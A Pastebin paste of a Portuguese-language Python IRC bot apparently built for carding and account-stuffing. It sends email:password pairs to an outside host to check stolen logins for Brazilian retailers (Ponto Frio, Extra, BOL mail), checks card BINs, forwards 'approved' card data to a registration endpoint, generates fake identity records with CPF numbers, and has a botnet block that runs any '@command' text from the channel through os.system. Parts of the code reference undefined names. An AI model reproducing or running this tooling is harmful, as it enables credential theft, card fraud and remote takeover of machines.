Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # -*- coding: utf-8 -*-
- # encoding: utf-8
- import socket
- import sys
- import uuid
- import random
- import os
- import requests
- import string
- import time
- from datetime import datetime
- from datetime import datetime
- from random import randint,uniform
- from string import lower,upper
- from math import sqrt
- canal_visita = "#unix"
- #servidor = "irc.realunix.org"
- servidor = "darkcc.serveirc.com"
- canal = "#logins"
- #canal_recebe = "#vsf_pnc"
- password = 'senha1234'
- NickBOT = "PuTex[18]"
- NomeBOT = "PuTex[18]"
- senhaBOT = ""
- os.system("clear")
- print("""
- ACK È GOSTOSO VEI :D
- """)
- def separa_usuario(texto):
- separau = string.split(texto, "!~")
- separau = separau[0].split("@")
- user = separau[0]
- user = user.split("!")
- user = user[1]
- return user
- def ChkPontoFrio(email,senha):
- pagina = requests.get('http://modestpay.com.br/API/BOT/pontofrio.php?login='+email+':'+senha)
- resposta = pagina.content
- return resposta+" - [Ponto Frio] - "+canal
- def ChkExtra(email,senha):
- pagina = requests.get('http://modestpay.com.br/API/BOT/extra.php?login='+email+':'+senha)
- resposta = pagina.content
- return resposta+" - [Extra] - "+canal
- def ChkBol(email,senha):
- pagina = requests.get('http://modestpay.com.br/API/BOT/bolmail.php?login='+email+':'+senha)
- resposta = pagina.content
- return resposta+" - [BOLMAIL] - "+canal
- def cx2(cc):
- pagina = requests.get('http://modestpay.com.br/registra.php?cc='+cc)
- resposta = pagina.content
- return resposta
- def BinChk(binc):
- pagina = requests.get('http://modestpay.com.br/API/BOT/bin.php?bin='+binc)
- resposta = pagina.content
- return resposta+" - "+canal
- def IRC():
- irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- print ("\n[~] BOT sendo iniciado..")
- print ("\n[~] Entrando no servidor: "+servidor+" ("+canal+")")
- print ("\n[~] Nome do BOT: "+NickBOT+"\n")
- irc.connect((servidor, 6667))
- irc.send('PASS %s\r\n' %senhaBOT)
- irc.send('USER ' + NomeBOT + ' ' + NomeBOT + ' bla :' + NomeBOT + '\r\n')
- irc.send('NICK %s\r\n' %NickBOT)
- irc.send('Join %s\r\n' %canal)
- time.sleep(2)
- while 1:
- texto=irc.recv(2040)
- print(texto)
- oi = "sim"
- if texto[0:4] == 'PING':
- irc.send(texto.replace('PING', 'PONG'))
- if texto.find('End of /NAMES list.') !=-1:
- #print ("\nO BOT se conectou com sucesso a: "+servidor+"\n\n")
- irc.send('Join %s\r\n' %canal)
- #irc.send('Join %s\r\n' %canal_visita)
- irc.send('Part #unix \r\n')
- #irc.send('Join {}\r\n'.format(canal_recebe))
- if oi == "sim":
- #irc.send('\n\n PRIVMSG '+canal+' :13 Entrei u.u\r\n\n')
- oi = "nao"
- texto = ""
- irc.send('Part #darkcc')
- if texto.find(':!logins') !=-1:
- irc.send('PRIVMSG '+canal+' :0LOJAS ON √ ~ 9!PONTOFRIO ~ !EXTRA ~ !BOLMAIL ~ ! PAGSEGURO ~ ADIDAS ~ 7USE : email@email.com|senha ~ 13#logins\r\n')
- texto = ""
- if texto.find(':!tchau') !=-1:
- irc.send('PRIVMSG '+canal+' :!kb '+Nick+' \r\n\n')
- texto = ""
- if texto.find(':!fakedata') !=-1:
- nome = ['Bruno', 'Gustavo', 'Pedro', 'Diego', 'Henrique', 'Rafael', 'Eduardo', 'Joao', 'Rodrigo', 'Enzo', 'Leonardo', 'Valentim', 'Gabriel', 'Lucas', 'Vinícius', 'Guilherme', 'Miguel', 'Vitor', 'Amanda', 'Isabela', 'Luana', 'Ana', 'Júlia', 'Maria', 'Beatriz', 'Lara', 'Mariana', 'Bruna', 'Larissa', 'Sofia', 'Camila', 'Laura', 'Valentina', 'Carolina', 'Letícia', 'Yasmin']
- sobrenome = ['Silva', 'Vargas', 'Quadros', 'Bochase', 'Bosoni', 'Oliveira', 'Lima', 'Costa', 'Pinto', 'Ferreira', 'Souza', 'Pereira', 'Santos', ]
- idade = ['18', '20', '25', '30', '35', '40', '45', '50', '55']
- rg = ['1', '2', '3', '5', '6', '7', '8', '9', '0']
- rg2 = ['1', '2', '3', '5', '6', '7', '8', '9', '0']
- rg3 = ['1', '2', '3', '5', '6', '7', '8', '9', '0']
- rg4 = ['1', '2', '3', '5', '6', '7', '8', '9', '0']
- rg5 = ['1', '2', '3', '5', '6', '7', '8', '9', '0']
- rg6 = ['1', '2', '3', '5', '6', '7', '8', '9', '0']
- rg7 = ['1', '2', '3', '5', '6', '7', '8', '9', '0']
- rg8 = ['1', '2', '3', '5', '6', '7', '8', '9', '0']
- rg9 = ['1', '2', '3', '5', '6', '7', '8', '9', '0']
- cidade = ['Alta Floresta', 'Alto Paraíso', 'Ariquemes', 'Buritis', 'Cabixi', 'Cacaulândia', 'Cacoal', 'Campo Novo de Rondônia', 'Candeias do Jamari', 'Castanheiras', 'Cerejeiras', 'Chupinguaia', 'Colorado do Oeste', 'Corumbiara', 'Costa Marques', 'Cujubim', 'Governador Jorge Teixeira']
- cpf = ['307.272.808-99', '363.975.818-88', '331.972.588-27', '383.446.338-85', '295.136.248-03', '219.180.478-04', '314.493.248-51', '401.961.598-57', '367.374.688-02', '398.590.648-30', '341.396.018-09', '365.307.018-00', '412.344.938-70', '407.410.778-33', '399.470.678-58', '409.887.868-26']
- end = ['Travessa Coronel Cazeca', 'Rua Hildemar Maia', 'Avenida Cachoeira do Urubú', 'Rua dos Cajueiros', 'Rua Sobradinho', 'Rua José Benedito Rodrigues', 'Rua C', 'Rua Santa Irene', 'Rua Professor Gileno de Freitas', 'Rua Minas Azuis', 'Rua Galdino Brieda', 'Beco Doi', 'Quadra Vinte e Cinco', 'Rua José Kleina']
- fone = ['77 99273-7877', '81 2832-5997', '84 98446-7895', '85 99912-6007', '61 98915-9255', '49 98865-2838', '48 99759-1943', '83 98100-5364', '83 98755-9856', '96 99724-7470', '22 99505-3216', '68 98267-3895', '79 99382-7864', '92 98693-0799', '92 98693-0799']
- Nome1 = random.choice(nome)
- fone1 = random.choice(fone)
- end1 = random.choice(end)
- rg1 = random.choice(rg)
- rg2 = random.choice(rg2)
- cida = random.choice(cidade)
- rg3 = random.choice(rg3)
- rg4 = random.choice(rg4)
- rg5 = random.choice(rg5)
- rg6 = random.choice(rg6)
- rg7 = random.choice(rg7)
- rg8 = random.choice(rg8)
- rg9 = random.choice(rg9)
- cpf1 = random.choice(cpf)
- Sobrenome1 = random.choice(sobrenome)
- Idade1 = random.choice(idade)
- texto = ""
- irc.send('\n\nPRIVMSG '+canal+' : 8Nome: '+Nome1+' '+Sobrenome1+' | Idade: '+Idade1+' | Telefone: '+fone1+' | Endereço : '+end1+' | Cpf: '+cpf1+' | Rg: '+rg1+''+rg2+'.'+rg3+''+rg4+''+rg5+'.'+rg6+''+rg7+''+rg8+'-'+rg9+' | Cidade: '+cida+' | 4Δ31 Logins :D4 Δ \r\n\n')
- if texto.find(':!ligarbot') !=-1:
- irc.send('PRIVMSG '+canal+' : 0BOT 9LIGADO COM SUCESSO \r\n\n')
- texto = ""
- if texto.find(':!status') !=-1:
- irc.send('\n\n PRIVMSG '+canal+' :0cheker de login : 9ON 0cheker de cc : OFF \r\n\n')
- texto = ""
- if texto.find(':!pontofrio') !=-1:
- try:
- ativo = "sim"
- separa = string.split(texto, "!pontofrio ")
- texto = ""
- sp = separa[1]
- if sp.find(":") !=-1:
- separador = ":"
- elif sp.find("|") !=-1:
- separador = "|"
- elif sp.find(";") !=-1:
- separador = ";"
- elif sp.find(",") !=-1:
- separador = ","
- else:
- irc.send('\n\n PRIVMSG '+canal+' :14Login Invalido! 3Separadores: [ | : , ; ]\r\n\n')
- ativo = "nao"
- if ativo == "sim":
- login = string.split(separa[1], separador)
- email = login[0]
- p_senha = login[1]
- senha = string.split(p_senha, "\r\n")
- resposta = ChkPontoFrio(email,senha[0])
- if resposta.find("LIVE") !=-1:
- estado = "LIVE"
- cor = "3"
- else:
- estado = "DIE"
- cor = "4"
- irc.send('\n\nPRIVMSG '+canal+' :'+ cor +' '+str(resposta)+'!\r\n\n')
- #<'+user+'>
- except IndexError:
- irc.send('\n\n PRIVMSG '+canal+' :14Login Invalido! 3Separadores: [ | : , ; ]\r\n\n')
- #=============================== ~ BOLMAIL ~=====================================================
- if texto.find(':!bolmail') !=-1:
- try:
- ativo = "sim"
- separa = string.split(texto, "!bolmail ")
- texto = ""
- sp = separa[1]
- if sp.find(":") !=-1:
- separador = ":"
- elif sp.find("|") !=-1:
- separador = "|"
- elif sp.find(";") !=-1:
- separador = ";"
- elif sp.find(",") !=-1:
- separador = ","
- else:
- irc.send('\n\n PRIVMSG '+canal+' :14Login Invalido! 3Separadores: [ | : , ; ]\r\n\n')
- ativo = "nao"
- if ativo == "sim":
- login = string.split(separa[1], separador)
- email = login[0]
- p_senha = login[1]
- senha = string.split(p_senha, "\r\n")
- resposta = ChkBol(email,senha[0])
- if resposta.find("LIVE") !=-1:
- estado = "LIVE"
- cor = "3"
- else:
- estado = "DIE"
- cor = "4"
- irc.send('\n\nPRIVMSG '+canal+' :'+ cor +' '+str(resposta)+'!\r\n\n')
- except IndexError:
- irc.send('\n\n PRIVMSG '+canal+' :14Login Invalido! 3Separadores: [ | : , ; ]\r\n\n')
- teste = False
- while teste != True:
- msg = s.recv(5000)
- print (msg)
- if msg[0:4] == 'PING':
- s.send(msg.replace('PING', 'PONG'))
- if search('@ligar %s' %password, msg):
- teste = True
- s.send('PRIVMSG %s : Conectado com sucesso!\r\n' %canal)
- # Verifica o que é digitado no canal
- # Se for digitado "@command + comando", o programa executa o comando informado no
- # servidor que está rodando o botnet
- # EXEMPLO: @command clear
- # EXPLICAÇÃO: Será executado o comando clear que limpará a tela.
- while True:
- msg = s.recv(5000)
- print (msg)
- if msg[0:4] == 'PING':
- s.send(msg.replace('PING', 'PONG'))
- if search('@command', msg):
- msg = msg.split('@command')
- msg = msg[1].split('\r\n')
- os.system(msg[0])
- s.send('PRIVMSG %s : Comando [ %s ] executado com sucesso!\r\n' %(canal, str(msg[0])))
- #========================================= ++ EXTRA ++ ==================================================
- if texto.find(':!extra') !=-1:
- try:
- ativo = "sim"
- separa = string.split(texto, ":!extra ")
- texto = ""
- sp = separa[1]
- if sp.find(":") !=-1:
- separador = ":"
- elif sp.find("|") !=-1:
- separador = "|"
- elif sp.find(";") !=-1:
- separador = ";"
- elif sp.find(",") !=-1:
- separador = ","
- else:
- irc.send('\n\n PRIVMSG '+canal+' :14Login Invalido! 3Separadores: [ | : , ; ]\r\n\n')
- ativo = "nao"
- if ativo == "sim":
- login = string.split(separa[1], separador)
- email = login[0]
- p_senha = login[1]
- senha = string.split(p_senha, "\r\n")
- resposta = ChkExtra(email,senha[0])
- if resposta.find("LIVE") !=-1:
- estado = "LIVE"
- cor = "3"
- else:
- estado = "DIE"
- cor = "4"
- irc.send('\n\nPRIVMSG '+canal+' :'+ cor +' '+str(resposta)+'!\r\n\n')
- except IndexError:
- irc.send('\n\n PRIVMSG '+canal+' :14Login Invalido! 3Separadores: [ | : , ; ]\r\n\n')
- #========================================= + BIN CHK + ====================================================
- if texto.find(':!bin') !=-1:
- try:
- ativo = "sim"
- separa = string.split(texto, "!bin ")
- texto = ""
- cor = " 0"
- binc = separa[1]
- binc = binc.split("\r\n")
- resposta = BinChk(binc[0])
- irc.send('\n\nPRIVMSG '+canal+' :6'+str(resposta)+'!\r\n\n')
- except IndexError:
- irc.send('\n\n PRIVMSG '+canal+' :6Digite uma bin valida!\r\n\n')
- if texto.find('APROVADAsssssssss ✔ » ') !=-1:
- separa = string.split(texto, "APROVADA ✔ » ")
- cc = separa[1].split("|")
- cc = cc[0].split(":APROVADA")
- texto = "!chk "
- infocc = "APROVADA ✔ » "+cc[0]
- print(infocc)
- #irc.send('\n\nPRIVMSG '+canal+' :3'+str(infocc)+'! \r\n\n')
- hehe = cx2(infocc)
- print(hehe)
- IRC()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement